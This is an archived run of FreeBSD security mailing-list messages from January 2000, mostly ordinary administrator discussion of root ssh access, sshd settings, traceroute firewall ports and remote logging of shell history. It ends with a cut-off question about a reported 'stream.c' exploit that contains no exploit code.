In-Reply-To: <20000119220315.A7210@inago.swcp.com>; from Brendan Conoboy on Wed, Jan 19, 2000 at 10:03:15PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Jan 19, 2000 at 10:03:15PM -0700, Brendan Conoboy wrote: > In order to not bog down the list, you can download the patch at: > > http://www.swcp.com/~synk/ipfmerge.patch I've just made a couple changes to the patch, so if you've gotten it before 12am MST (jan 20), you'll probably want to reget it. -Brendan (synk@swcp.com) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 1:30:20 2000 Delivered-To: freebsd-security@freebsd.org Received: from hotmail.com (f129.law7.hotmail.com [216.33.237.129]) by hub.freebsd.org (Postfix) with SMTP id 337ED153CA for ; Thu, 20 Jan 2000 01:30:18 -0800 (PST) (envelope-from jslat@hotmail.com) Received: (qmail 18540 invoked by uid 0); 20 Jan 2000 09:30:17 -0000 Message-ID: <20000120093017.18539.qmail@hotmail.com> Received: from 129.250.32.103 by www.hotmail.com with HTTP; Thu, 20 Jan 2000 01:30:17 PST X-Originating-IP: [129.250.32.103] From: "NoCoN FLiC" To: cjc@cc942873-a.ewndsr1.nj.home.com, jonf@revelex.com Cc: freebsd-security@FreeBSD.ORG Subject: Re: ssh. Date: Thu, 20 Jan 2000 09:30:17 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > >And someone who breaks in can easily fake that email. > >My personal solution (I know you are all dying for it)? > >Make sure root's .ssh directory is watched _very_ closely by >Tripwire. Setup Tripewire to use read-only media (e.g. write >protected floppy). >-- For what need, would one have to even remotely Logon to the root account, my advice to to not even have a ~/root/.ssh to begin with. to me it's about as silly as ~/root/.rhosts. ~NoCoNFLiC~ ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 2:39:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from nsm.htp.org (nsm.htp.org [202.241.243.104]) by hub.freebsd.org (Postfix) with SMTP id 3D737153E8 for ; Thu, 20 Jan 2000 02:39:18 -0800 (PST) (envelope-from sen_ml@eccosys.com) Received: (qmail 14693 invoked from network); 20 Jan 2000 10:38:03 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 20 Jan 2000 10:38:03 -0000 To: freebsd-security@FreeBSD.ORG Subject: Re: ssh. From: sen_ml@eccosys.com In-Reply-To: <20000120093017.18539.qmail@hotmail.com> References: <20000120093017.18539.qmail@hotmail.com> X-Mailer: Mew version 1.94.1 on Emacs 20.5 / Mule 4.0 (HANANOEN) X-No-Archive: Yes Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000120193954V.1000@eccosys.com> Date: Thu, 20 Jan 2000 19:39:54 +0900 X-Dispatcher: imput version 990905(IM130) Lines: 19 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org jslat> For what need, would one have to even remotely Logon to the jslat> root account, my advice to to not even have a ~/root/.ssh to jslat> begin with. to me it's about as silly as ~/root/.rhosts. i won't be surprised if others mention that it is not always practical to do what you suggest. i beg to differ on the point that it is about as silly as ~/root/.rhosts -- .rhosts is far worse in my opinion. to elaborate just a bit, there are situations in which people might not have physical access (at least not frequently, and sometims even close to never) to the machiness which they administer. root access by ssh (in certain configurations) can provide a practical approach (compared to the alternatives) depending on one's situation. i know some setups where people establish an out-of-band connection (say, via serial lines) to each machine they administer from a single machine which is not connected to the network. however, even this is not always possible or practical -- distance, time, budget, etc. constraints. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 4: 9:23 2000 Delivered-To: freebsd-security@freebsd.org Received: from megaweapon.zigg.com (megaweapon.zigg.com [206.114.60.8]) by hub.freebsd.org (Postfix) with ESMTP id 1D7D7153C8 for ; Thu, 20 Jan 2000 04:09:13 -0800 (PST) (envelope-from matt@zigg.com) Received: from localhost (matt@localhost) by megaweapon.zigg.com (8.9.3/8.9.3) with ESMTP id HAA60634; Thu, 20 Jan 2000 07:08:58 -0500 (EST) (envelope-from matt@zigg.com) Date: Thu, 20 Jan 2000 07:08:55 -0500 (EST) From: Matt Behrens To: sen_ml@eccosys.com Cc: freebsd-security@FreeBSD.ORG Subject: Re: ssh. In-Reply-To: <20000120193954V.1000@eccosys.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thu, 20 Jan 2000 sen_ml@eccosys.com wrote: > jslat> For what need, would one have to even remotely Logon to the > jslat> root account, my advice to to not even have a ~/root/.ssh to > jslat> begin with. to me it's about as silly as ~/root/.rhosts. > > i won't be surprised if others mention that it is not always practical > to do what you suggest. i beg to differ on the point that it is about > as silly as ~/root/.rhosts -- .rhosts is far worse in my opinion. Agreed. Let's not forget using ssh as a part of a toolkit where administrative scripts need to execute commands on other hosts without supplying passwords. rsh is obviously the _wrong_ way to do this. ssh seems to work quite well. (Although I must add that, for speed purposes, I'm moving instead to a homegrown client/server solution that uses RADIUS-style authentication with shared secrets -- and because it's got a limited set of things it can do, it should be a tad more secure even if compromised. ssh connection setup isn't slouchy on modern systems but the times can add up.) - -- Matt Behrens Owner/Administrator, zigg.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.1 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE4hvrZ+xq4JbgNGlMRAichAKCSFvN7SqTeb0iYoTaasCm1ZHclYACfXqpO z9LODx3MgCHJ8kbAjXLAjGs= =EZGJ -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 6:13:38 2000 Delivered-To: freebsd-security@freebsd.org Received: from revelex.com (revelex.com [207.61.176.194]) by hub.freebsd.org (Postfix) with ESMTP id C935014D3F for ; Thu, 20 Jan 2000 06:13:34 -0800 (PST) (envelope-from jonf@revelex.com) Received: from server (nt.revelex.com [10.0.0.9]) by revelex.com (8.9.3/8.9.3) with SMTP id JAA31375 for ; Thu, 20 Jan 2000 09:09:16 -0500 (EST) Message-ID: <007c01bf6359$35a68d50$0900000a@server> From: "Jonathan Fortin" To: Subject: Ssh Date: Thu, 20 Jan 2000 09:15:38 -0600 Organization: Revelex Corp. X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, Well, i *doubt* script kittys will even check the email. but they make remove it in crontab. The best way to have a secure root connection is if you chflags ucgh the autorization key. even if u get hacked it cant be modified. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 7: 0: 6 2000 Delivered-To: freebsd-security@freebsd.org Received: from vtopus.cs.vt.edu (vtopus.cs.vt.edu [128.173.40.24]) by hub.freebsd.org (Postfix) with ESMTP id CFAC014DB4 for ; Thu, 20 Jan 2000 06:59:58 -0800 (PST) (envelope-from dhagan@cs.vt.edu) Received: from localhost (dhagan@localhost) by vtopus.cs.vt.edu (8.9.1a/8.9.1) with ESMTP id JAA22135; Thu, 20 Jan 2000 09:59:48 -0500 (EST) Date: Thu, 20 Jan 2000 09:59:48 -0500 (EST) From: Daniel Hagan To: sen_ml@eccosys.com Cc: freebsd-security@FreeBSD.ORG Subject: Re: ssh-feature 'backdoor' In-Reply-To: <20000120160325Z.1000@eccosys.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 20 Jan 2000 sen_ml@eccosys.com wrote: > not necessarily. if you perform a successful denial-of-service attack > of a certain type on one of your allowed hosts, and you know a > password to get in to the server running the ssh daemon, then you can > manage i think. Isn't the RootLogin NoPwd (sp) setting there for this scenario? Daniel -- Daniel Hagan Computer Science CSE dhagan@cs.vt.edu http://www.cs.vt.edu/~dhagan/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 7: 7:33 2000 Delivered-To: freebsd-security@freebsd.org Received: from altair.origenbio.com (altair.origenbio.com [216.30.62.130]) by hub.freebsd.org (Postfix) with ESMTP id 7133314F1E for ; Thu, 20 Jan 2000 07:07:30 -0800 (PST) (envelope-from dmartin@origenbio.com) Received: from origenbio.com (dubhe.origen [192.168.0.5]) by altair.origenbio.com (8.9.3/8.9.3) with ESMTP id JAA19218; Thu, 20 Jan 2000 09:07:24 -0600 (CST) (envelope-from dmartin@origenbio.com) Message-ID: <3887246F.310D98F8@origenbio.com> Date: Thu, 20 Jan 2000 09:06:23 -0600 From: Richard Martin X-Mailer: Mozilla 4.6 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: sen_ml@eccosys.com Cc: freebsd-security@FreeBSD.ORG Subject: Re: ssh References: <20000120093017.18539.qmail@hotmail.com> <20000120193954V.1000@eccosys.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org sen_ml@eccosys.com wrote: > > jslat> For what need, would one have to even remotely Logon to the > jslat> root account, my advice to to not even have a ~/root/.ssh to > jslat> begin with. to me it's about as silly as ~/root/.rhosts. > A suggestion we us is to change the sshd.config to the following PasswordAuthentication no This requires use of the RSA key phrase (not the user password) to log in to ssh. Since the RSA key phrase is never kept on the machine, it adds another level of security. And since our pass phrase for root is a 44 character phrase including numbers and caps, its probably rather difficult to guess. Then make it more difficult to even get a connection. Change in ssh.config StrictHostKeyChecking yes StrictHostKeyChecking requires that the sysadmin append and new keys to whomever's keyring, meaning that strangers cannot just log in and append their keys by default. This is a bit more work for the operator, but very much more secure. Depends on how many people need ssh access, I guess. Finally, if you have only a few remote machines that need to get ssh access, use the AllowHosts [hosts] directive in sshd. -- Richard Martin dmartin@origen.com OriGen Biomedical Tel: +1 512 474 7278 2525 Hartford Rd. Fax: +1 512 708 8522 Austin, TX 78703 http://www.cardiacdocs.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 7:18:13 2000 Delivered-To: freebsd-security@freebsd.org Received: from nsm.htp.org (nsm.htp.org [202.241.243.104]) by hub.freebsd.org (Postfix) with SMTP id 92B2A14D42 for ; Thu, 20 Jan 2000 07:18:11 -0800 (PST) (envelope-from sen_ml@eccosys.com) Received: (qmail 18724 invoked from network); 20 Jan 2000 15:16:58 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 20 Jan 2000 15:16:58 -0000 To: freebsd-security@FreeBSD.ORG Subject: Re: ssh From: sen_ml@eccosys.com In-Reply-To: <3887246F.310D98F8@origenbio.com> References: <20000120093017.18539.qmail@hotmail.com> <20000120193954V.1000@eccosys.com> <3887246F.310D98F8@origenbio.com> X-Mailer: Mew version 1.94.1 on Emacs 20.5 / Mule 4.0 (HANANOEN) X-No-Archive: Yes Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000121001849B.1000@eccosys.com> Date: Fri, 21 Jan 2000 00:18:49 +0900 X-Dispatcher: imput version 990905(IM130) Lines: 4 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org i knew i should have kept my mouth shut about ssh -- some of the responses are ignoring the context of the original postings. i'm going to shut up now in hopes of this silliness ending. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 7:40:26 2000 Delivered-To: freebsd-security@freebsd.org Received: from cc942873-a.ewndsr1.nj.home.com (cc942873-a.ewndsr1.nj.home.com [24.2.89.207]) by hub.freebsd.org (Postfix) with ESMTP id 7BD1115159 for ; Thu, 20 Jan 2000 07:40:08 -0800 (PST) (envelope-from cjc@cc942873-a.ewndsr1.nj.home.com) Received: (from cjc@localhost) by cc942873-a.ewndsr1.nj.home.com (8.9.3/8.9.3) id KAA72710; Thu, 20 Jan 2000 10:44:18 -0500 (EST) (envelope-from cjc) Date: Thu, 20 Jan 2000 10:44:18 -0500 From: "Crist J. Clark" To: NoCoN FLiC Cc: jonf@revelex.com, freebsd-security@FreeBSD.ORG Subject: Re: ssh. Message-ID: <20000120104418.A72685@cc942873-a.ewndsr1.nj.home.com> Reply-To: cjclark@home.com References: <20000120093017.18539.qmail@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <20000120093017.18539.qmail@hotmail.com>; from jslat@hotmail.com on Thu, Jan 20, 2000 at 09:30:17AM +0000 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Jan 20, 2000 at 09:30:17AM +0000, NoCoN FLiC wrote: > > > > >And someone who breaks in can easily fake that email. > > > >My personal solution (I know you are all dying for it)? > > > >Make sure root's .ssh directory is watched _very_ closely by > >Tripwire. Setup Tripewire to use read-only media (e.g. write > >protected floppy). > >-- > > For what need, would one have to even remotely Logon to the root account, > my advice to to not even have a ~/root/.ssh to begin with. > to me it's about as silly as ~/root/.rhosts. Automated dumps over the network is what I use it for. And before anyone says it, don't tell me to use Amanda unless you have very specific arguments why it would be any more secure than SSH. -- Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 9:21:49 2000 Delivered-To: freebsd-security@freebsd.org Received: from bomber.avantgo.com (ws1.avantgo.com [207.214.200.194]) by hub.freebsd.org (Postfix) with ESMTP id 09F6215196 for ; Thu, 20 Jan 2000 09:21:46 -0800 (PST) (envelope-from scott@avantgo.com) Received: from river ([10.0.128.30]) by bomber.avantgo.com (Netscape Messaging Server 3.5) with SMTP id 316; Thu, 20 Jan 2000 09:17:17 -0800 Message-ID: <00a201bf636a$aa130680$1e80000a@avantgo.com> From: "Scott Hess" To: "Richard Martin" , Cc: References: <20000120093017.18539.qmail@hotmail.com> <20000120193954V.1000@eccosys.com> <3887246F.310D98F8@origenbio.com> Subject: Re: ssh Date: Thu, 20 Jan 2000 09:20:35 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Richard Martin" wrote: > Then make it more difficult to even get a connection. Change in ssh.config > > StrictHostKeyChecking yes > > StrictHostKeyChecking requires that the sysadmin append and new keys to > whomever's keyring, meaning that strangers cannot just log in and append their > keys by default. This is a bit more work for the operator, but very much more > secure. Depends on how many people need ssh access, I guess. AFAIK, at least under 1.2.27, StrictHostKeyChecking only relates to the client side. It's easily disabled by doing something like ssh -o 'StrictHostKeyChecking no' hostname. Obviously any security that depends on the client side in this way isn't helpful. I've never really understood this, because it seems like it would really be more useful to have on the _server_ side. Worse, you can't even force it on the client side, so you can't even prevent people from wacking other servers from your host. [Well, even if you could, I suppose they could just recompile, or use -F to specify an alternate config, or just modify ~/.ssh/config.] scott To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 9:43:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail1.uunet.ca (mail1.uunet.ca [209.167.141.3]) by hub.freebsd.org (Postfix) with ESMTP id CD64015141 for ; Thu, 20 Jan 2000 09:43:46 -0800 (PST) (envelope-from matt@ARPA.MAIL.NET) Received: from w01.arpa-canada.net ([216.95.146.6]) by mail1.uunet.ca with ESMTP id <215745-26674>; Thu, 20 Jan 2000 12:43:40 -0500 Date: Thu, 20 Jan 2000 12:43:36 -0500 From: matt X-Sender: matt@w01.arpa-canada.net To: FreeBSD-SECURITY Subject: legit udp ports for traceroute Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Sorry if this is off-topic, but I'm wondering what range of udp ports is used by legitimate traceroutes? I generally deny udp, but would like to open up enough so that traceroutes could go through to a certain machine. thanks, -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 10: 4:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from toaster.sun4c.net (toaster.sun4c.net [63.193.27.6]) by hub.freebsd.org (Postfix) with ESMTP id 7EF8F15248 for ; Thu, 20 Jan 2000 10:04:03 -0800 (PST) (envelope-from andre@toaster.sun4c.net) Received: (from andre@localhost) by toaster.sun4c.net (8.9.3+openldap/8.9.3) id KAA27461; Thu, 20 Jan 2000 10:06:51 -0800 (PST) Date: Thu, 20 Jan 2000 10:06:51 -0800 From: Andre Gironda To: matt Cc: FreeBSD-SECURITY Subject: Re: legit udp ports for traceroute Message-ID: <20000120100650.A27441@toaster.sun4c.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95i In-Reply-To: ; from matt on Thu, Jan 20, 2000 at 12:43:36PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matt, I'm pretty sure it's >30000. only open up icmp type codes 0 and 11 (i think traceroute needs those as well), and those really high udp ports. actually i think traceroute is ports 33434 >< 33465, but there are a few different traceroute programs/versions out there, you might want to check the source and see what they all use. dre On Thu, Jan 20, 2000 at 12:43:36PM -0500, matt wrote: > > Sorry if this is off-topic, but I'm wondering what range of udp ports is > used by legitimate traceroutes? I generally deny udp, but would like to > open up enough so that traceroutes could go through to a certain machine. > > thanks, > > -Matt > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- This program has been brought to you by the language C and the number F. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 10: 6:52 2000 Delivered-To: freebsd-security@freebsd.org Received: from adm.sci-nnov.ru (adm.sci-nnov.ru [195.122.226.2]) by hub.freebsd.org (Postfix) with ESMTP id 2B3FD15196 for ; Thu, 20 Jan 2000 10:06:48 -0800 (PST) (envelope-from vlad@sandy.ru) Received: from anonymous.sandy.ru (anonymous.sandy.ru [195.122.226.40]) by adm.sci-nnov.ru (8.9.3/Dmiter-4.1) with ESMTP id VAA61419; Thu, 20 Jan 2000 21:05:09 +0300 (MSK) Date: Thu, 20 Jan 2000 21:05:09 +0300 From: Vladimir Dubrovin X-Mailer: The Bat! (v1.36) S/N D33CD428 Reply-To: Vladimir Dubrovin Organization: Sandy Info X-Priority: 3 (Normal) Message-ID: <2878.000120@sandy.ru> To: matt Cc: FreeBSD-SECURITY Subject: Re: legit udp ports for traceroute In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello matt, 20.01.00 20:43, you wrote: legit udp ports for traceroute; m> Sorry if this is off-topic, but I'm wondering what range of udp ports is m> used by legitimate traceroutes? I generally deny udp, but would like to m> open up enough so that traceroutes could go through to a certain machine. Usually traceroute starts from PORT 33435. Maximum hope is usually 30, so it sends up to 90 packets increasing the port. It means you need to open 33435-33524. Note, that Windows NT traceroute sends ICMP 8.0 packet instead of UDP. +=-=-=-=-=-=-=-=-=+ |Vladimir Dubrovin| | Sandy Info, ISP | +=-=-=-=-=-=-=-=-=+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 10:47:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from loki.iss.net (loki.iss.net [208.21.0.3]) by hub.freebsd.org (Postfix) with ESMTP id 6876D14D1A for ; Thu, 20 Jan 2000 10:47:14 -0800 (PST) (envelope-from rmooney@iss.net) Received: from arden.iss.net (IDENT:rmooney@arden.iss.net [208.27.172.3]) by loki.iss.net (8.9.3/8.9.3) with SMTP id NAA08122; Thu, 20 Jan 2000 13:46:52 -0500 Date: Thu, 20 Jan 2000 13:46:52 -0500 (EST) From: Robert Mooney To: cjclark@home.com Cc: NoCoN FLiC , jonf@revelex.com, freebsd-security@FreeBSD.ORG Subject: Re: ssh. In-Reply-To: <20000120104418.A72685@cc942873-a.ewndsr1.nj.home.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org You don't have to use root for remote backups. Granted, if someone compromises your backup account, you're in serious trouble enough, assuming the account has read access to your drive devices. But it's still somewhat better than using root. On Thu, 20 Jan 2000, Crist J. Clark wrote: > On Thu, Jan 20, 2000 at 09:30:17AM +0000, NoCoN FLiC wrote: > > > > > > > >And someone who breaks in can easily fake that email. > > > > > >My personal solution (I know you are all dying for it)? > > > > > >Make sure root's .ssh directory is watched _very_ closely by > > >Tripwire. Setup Tripewire to use read-only media (e.g. write > > >protected floppy). > > >-- > > > > For what need, would one have to even remotely Logon to the root account, > > my advice to to not even have a ~/root/.ssh to begin with. > > to me it's about as silly as ~/root/.rhosts. > > Automated dumps over the network is what I use it for. > > And before anyone says it, don't tell me to use Amanda unless you have > very specific arguments why it would be any more secure than SSH. > -- > Crist J. Clark cjclark@home.com > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 10:59:18 2000 Delivered-To: freebsd-security@freebsd.org Received: from security1.noc.flyingcroc.net (security1.noc.flyingcroc.net [207.246.128.54]) by hub.freebsd.org (Postfix) with ESMTP id 1594F14D7B for ; Thu, 20 Jan 2000 10:59:15 -0800 (PST) (envelope-from todd@flyingcroc.net) Received: from localhost (todd@localhost) by security1.noc.flyingcroc.net (8.9.3/8.9.3) with ESMTP id KAA44444 for ; Thu, 20 Jan 2000 10:58:50 -0800 (PST) (envelope-from todd@flyingcroc.net) X-Authentication-Warning: security1.noc.flyingcroc.net: todd owned process doing -bs Date: Thu, 20 Jan 2000 10:58:50 -0800 (PST) From: Todd Backman X-Sender: todd@security1.noc.flyingcroc.net To: security@freebsd.org Subject: logging .history to external loghost... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Is there a way to log .history or .bash_history to an external loghost? Thanks. - Todd To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 11: 8:51 2000 Delivered-To: freebsd-security@freebsd.org Received: from adm.sci-nnov.ru (adm.sci-nnov.ru [195.122.226.2]) by hub.freebsd.org (Postfix) with ESMTP id 24AB214DC3 for ; Thu, 20 Jan 2000 11:08:47 -0800 (PST) (envelope-from vlad@sandy.ru) Received: from anonymous.sandy.ru (anonymous.sandy.ru [195.122.226.40]) by adm.sci-nnov.ru (8.9.3/Dmiter-4.1) with ESMTP id WAA67965; Thu, 20 Jan 2000 22:01:58 +0300 (MSK) Date: Thu, 20 Jan 2000 22:01:57 +0300 From: Vladimir Dubrovin X-Mailer: The Bat! (v1.36) S/N D33CD428 Reply-To: Vladimir Dubrovin Organization: Sandy Info X-Priority: 3 (Normal) Message-ID: <17918.000120@sandy.ru> To: Andre Gironda Cc: matt , FreeBSD-SECURITY Subject: Re[2]: legit udp ports for traceroute In-reply-To: <20000120100650.A27441@toaster.sun4c.net> References: <20000120100650.A27441@toaster.sun4c.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello Andre Gironda, 20.01.00 21:06, you wrote: legit udp ports for traceroute; A> Matt, A> I'm pretty sure it's >30000. only open up icmp type codes 0 and 11 3 and 11 for BSD-style traceroute. If you want NT-style traceroute you need also ICMP 8 and 0. +=-=-=-=-=-=-=-=-=+ |Vladimir Dubrovin| | Sandy Info, ISP | +=-=-=-=-=-=-=-=-=+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 11: 9:55 2000 Delivered-To: freebsd-security@freebsd.org Received: from pouet.noc.fr.clara.net (zion.noc.fr.clara.net [212.43.195.29]) by hub.freebsd.org (Postfix) with ESMTP id 1687F14D6A for ; Thu, 20 Jan 2000 11:09:53 -0800 (PST) (envelope-from sameh@fr.clara.net) Received: by pouet.noc.fr.clara.net (Postfix, from userid 1000) id DB2E182C; Thu, 20 Jan 2000 20:08:59 +0100 (CET) Date: Thu, 20 Jan 2000 20:08:59 +0100 From: Sameh Ghane To: Todd Backman Cc: security@FreeBSD.ORG Subject: Re: logging .history to external loghost... Message-ID: <20000120200859.B3766@noc.fr.clara.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 1.0i In-Reply-To: ; from todd@flyingcroc.net on Thu, Jan 20, 2000 at 10:58:50AM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Le Thu, Jan 20, 2000 at 10:58:50AM -0800, Todd Backman écrivit: > > Is there a way to log .history or .bash_history to an external loghost? I assume your talking about accounting. Give first a look at sa(8), lastcomm(1), accton(8), and decide then how you could nicely handle an external logger. There are numerous ways doing this, but most of them are ugly (; -- Sameh Ghane To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 11:20:33 2000 Delivered-To: freebsd-security@freebsd.org Received: from cc942873-a.ewndsr1.nj.home.com (cc942873-a.ewndsr1.nj.home.com [24.2.89.207]) by hub.freebsd.org (Postfix) with ESMTP id 589E515386 for ; Thu, 20 Jan 2000 11:20:28 -0800 (PST) (envelope-from cjc@cc942873-a.ewndsr1.nj.home.com) Received: (from cjc@localhost) by cc942873-a.ewndsr1.nj.home.com (8.9.3/8.9.3) id OAA73177; Thu, 20 Jan 2000 14:22:04 -0500 (EST) (envelope-from cjc) Date: Thu, 20 Jan 2000 14:22:04 -0500 From: "Crist J. Clark" To: Robert Mooney Cc: cjclark@home.com, NoCoN FLiC , jonf@revelex.com, freebsd-security@FreeBSD.ORG Subject: Re: ssh. Message-ID: <20000120142204.C72914@cc942873-a.ewndsr1.nj.home.com> Reply-To: cjclark@home.com References: <20000120104418.A72685@cc942873-a.ewndsr1.nj.home.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from rmooney@iss.net on Thu, Jan 20, 2000 at 01:46:52PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Jan 20, 2000 at 01:46:52PM -0500, Robert Mooney wrote: > > You don't have to use root for remote backups. Granted, if someone > compromises your backup account, you're in serious trouble enough, > assuming the account has read access to your drive devices. But it's > still somewhat better than using root. I was not completely clear. The machine that does the dump does not require root, the machine that receives it does. The receiving machine, restore(8)s the dump. The second machine is a backup for the first, so it keeps a "live copy" of the other's filesystem. In order to do this, the account needs root privileges. -- Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 12:31: 0 2000 Delivered-To: freebsd-security@freebsd.org Received: from vinyl.sentex.ca (vinyl.sentex.ca [209.112.4.14]) by hub.freebsd.org (Postfix) with ESMTP id EAEB314DA0; Thu, 20 Jan 2000 12:30:51 -0800 (PST) (envelope-from mike@sentex.net) Received: from simoeon (simeon.sentex.ca [209.112.4.47]) by vinyl.sentex.ca (8.9.3/8.9.3) with SMTP id PAA30394; Thu, 20 Jan 2000 15:30:49 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca> X-Sender: mdtpop@staff.sentex.ca X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Thu, 20 Jan 2000 15:28:18 -0500 To: freebsd-security@freebsd.org From: Mike Tancsa Subject: bugtraq posts: stream.c - new FreeBSD exploit? Cc: freebsd-stable@freebsd.org, security-officer@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Can anyone confirm the bugtraq posting ? Are the freebsd folks working on a fix ? If so, what versions are effected ? ---Mike >The only log that he could provide was this one: > >---snip--- > >syslog:Jan 18 12:30:36 x kernel: Kernel panic: Free list empty > >---snip--- > >One thing of note: he also stated this happened on non-freebsd systems, >which is contrary to what the other person said, who was "under the >impression it was freebsd specific." > >I have the 